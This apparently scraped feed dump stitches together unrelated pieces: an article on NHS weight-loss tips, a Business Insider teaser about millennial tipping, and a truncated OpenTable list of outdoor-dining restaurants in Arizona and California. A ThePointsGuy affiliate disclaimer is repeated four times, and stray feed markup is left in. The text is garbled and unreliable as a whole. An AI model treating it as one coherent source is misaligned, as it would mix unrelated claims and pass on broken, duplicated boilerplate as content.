“It takes about 20 minutes for the stomach to tell the brain it’s full, so eat slowly and stop eating before you feel full,” says the NHS.
This is far from the only easy weight loss tip you can start putting into action.
The NHS advises against skipping breakfast. You might think that missing out a meal in the day will speed up weight loss, but that isn’t the case.
Not eating breakfast won’t help you lose weight and you could miss out on essential nutrients.
Furthermore, it may lead you to snack more because you’re hungry from missing the vital meal.
All the meals you have should be evenly spaced out. Eating regular meals during the day helps burn calories at a faster rate.
It will also stop you from picking at snacks in between your meals which will counteract other healthy eating.
Another very easy habit to get in to which will supercharge your weight loss is to drink lots of water.
Thirst can be confused with hunger so if you feel the pangs strike, try drinking a large glass of water an see how you feel.
Make sure you eat plenty of high-fibre foods, is another tip as part of the NHS’s 12-week diet plan.
Foods with lots of fibre in the will help you feel full, which is just what you need when you’re trying to lose weight.
Fibre is found in foods that come from plants, such as fruit and veg, oats, wholegrain bread, brown rice and pasta, and beans, peas and lentils.
You certainly shouldn’t ban any food from your weight loss plan as that will result in you craving them even more.
You can still enjoy the occasional treat as long as you stay within your daily calorie allowance, says the NHS.
Cindy Ord/Getty Images for GREY GOOSE
Millennials tend to tip less than older generations, according to a new survey. See the rest of the story at Business Insider
See Also:
![]()
]]>
The Turtle Club
Nothing says summertime like eating outdoors.
In honor of the first day of summer on Thursday, OpenTable has released its annual list of the 100 best restaurants in America for al fresco dining in 2018.
Culled from millions of OpenTable reviews, the list includes restaurants in 22 states, each with its own stunning views or cozy surroundings. California and Florida are home to more than half of the restaurants on the list — no surprise there — but there are plenty of representatives on the list for those who don’t live near the coast, too.
Read on to discover where you should eat this summer for an unforgettable outdoor experience.
Twitter/Lisa Dahl
Café Monarch – Scottsdale, Arizona
El Chorro – Paradise Valley, Arizona
Gertrude’s – Phoenix – Phoenix, Arizona
Lon’s at The Hermosa – Paradise Valley, Arizona
Mariposa – Sedona, Arizona
Olive & Ivy Restaurant & Marketplace – Scottsdale, Arizona
Tonto Bar & Grill – Cave Creek, Arizona
Wildflower – Tucson -Tucson, Arizona
Facebook/Poseidon Restaurant
Campfire – Carlsbad, California
Coasterra – San Diego, California
Duke’s La Jolla – San Diego, California
George’s Ocean Terrace – San Diego, California
Pacific Coast Grill – Cardiff – Cardiff-By-The-Sea, California
Poseidon – Del Mar, California
The Prado at Balboa Park – San Diego, California
Stone Brewing World Bistro & Gardens – Escondido, California
Tom Hams Lighthouse – San Diego, California
Beachcomber Cafe
Beachcomber Cafe – Newport Coast, California
Catch LA – West Hollywood, California
Farmhouse at Rogers Gardens – Corona Del Mar, California
Geoffrey’s Restaurant – Malibu, California
Gracias Madre – West Hollywood, California
The Ivy – West Hollywood, California
Perch LA – Los Angeles, California
Pump – West Hollywood, California
True Food Kitchen – Pasadena – Pasadena, California
See the rest of the story at Business Insider
See Also:
SEE ALSO: I’ve been to 25 countries, and these are the 7 worst stereotypes I’ve heard about Americans
DON’T MISS: 14 vegetables that are actually fruits
![]()
The credit card offers that appear on the website are from credit card companies from which ThePointsGuy.com receives compensation. This compensation may impact how and where products appear on this site (including, for example, the order in which they appear). This site does not include all credit card companies or all available credit card offers. Please view our advertising policy page for more information.
Editorial Note: Opinions expressed here are author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.
]]>
The credit card offers that appear on the website are from credit card companies from which ThePointsGuy.com receives compensation. This compensation may impact how and where products appear on this site (including, for example, the order in which they appear). This site does not include all credit card companies or all available credit card offers. Please view our advertising policy page for more information.
Editorial Note: Opinions expressed here are author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.
]]>
The credit card offers that appear on the website are from credit card companies from which ThePointsGuy.com receives compensation. This compensation may impact how and where products appear on this site (including, for example, the order in which they appear). This site does not include all credit card companies or all available credit card offers. Please view our advertising policy page for more information.
Editorial Note: Opinions expressed here are author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.
]]>
The credit card offers that appear on the website are from credit card companies from which ThePointsGuy.com receives compensation. This compensation may impact how and where products appear on this site (including, for example, the order in which they appear). This site does not include all credit card companies or all available credit card offers. Please view our advertising policy page for more information.
Editorial Note: Opinions expressed here are author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.
]]>